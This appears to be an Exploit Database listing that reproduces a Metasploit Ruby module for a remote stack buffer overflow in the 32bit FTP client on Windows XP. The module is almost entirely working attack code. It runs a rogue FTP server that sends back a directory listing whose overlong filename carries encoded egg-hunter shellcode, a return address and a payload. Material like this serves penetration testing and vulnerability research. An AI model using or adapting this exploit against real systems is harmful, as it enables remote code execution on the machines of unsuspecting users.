32bit FTP Client – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • remote
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/16743/

• ##
  # $Id: 32bitftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::FtpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => '32bit FTP Client Stack Buffer Overflow ',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to
  					download a file that has an overly long filename.
  			},
  			'Author' 	 =>
  				[
  					'fancy',	# found the bug
  					'corelanc0d3r'	# helped writing this module
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 11039 $",
  			'References' =>
  				[
  					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00\xff\x0a",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED} ],#RETN 32bitftp.exe
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 12 2010',
  			'DefaultTarget'=> 0))
  
  	end
  
  	def setup
  		super
  	end
  
  	def on_client_unknown_command(c,cmd,arg)
  		c.put("200 OK\r\n")
  	end
  
  
  	def on_client_command_list(c,arg)
  			code = 150
  			c.put("#{code} OK.\r\n")
  			code = 226
  			c.put("#{code} Directory ok.\r\n")
  
  			conn = establish_data_connection(c)
  			if(not conn)
  				c.put("425 Can't build data connection\r\n")
  				return
  			end
  			print_status(" - Data connection set up")
  
  			filename ="\x02"#prevent crash
  			filename << "secret admin passwords.txt" #se = \x73\x65 = jump forward, over filename, to hunter
  			filename << " " * 77
  			#custom encoded egg hunter
  			filename << "\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
  			filename << "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
  			filename << "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
  			filename << "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
  			filename << "\x45\x36\x4b\x31\x4a\x6a\x49\x6f\x44\x4f\x42\x62\x50\x52\x43"
  			filename << "\x5a\x45\x52\x46\x38\x48\x4d\x44\x6e\x45\x6c\x45\x55\x43\x6a"
  			filename << "\x50\x74\x4a\x4f\x4d\x68\x43\x47\x44\x70\x46\x50\x43\x44\x4e"
  			filename << "\x6b\x4b\x4a\x4c\x6f\x43\x45\x49\x7a\x4c\x6f\x44\x35\x4a\x47"
  			filename << "\x4b\x4f\x4d\x37\x41\x41"
  			filename << " " * (target['Offset']-filename.length)
  
  			addr1 = "\x40\x60\x3A\x76"# RW imm32.dll
  			addr2 = "\x44\x54\x48\x00"# data section 32bitftp.exe
  			addr3 = [target.ret].pack('V') # b00m !
  
  			strfile = filename
  			strfile << addr3
  			strfile << addr2
  			strfile << addr1
  			strfile << "w00tw00t"
  			strfile << payload.encoded
  
  			print_status(" - Sending directory list via data connection")
  			dirlist = "-rw-rw-r--1 1176 1176 1060 Apr 23 23:17#{strfile}.bin\r\n\r\n"
  			conn.put(dirlist)
  			conn.close
  			print_status(" - LIST sent, wait for user to double click file...")
  			return
  	end
  
  end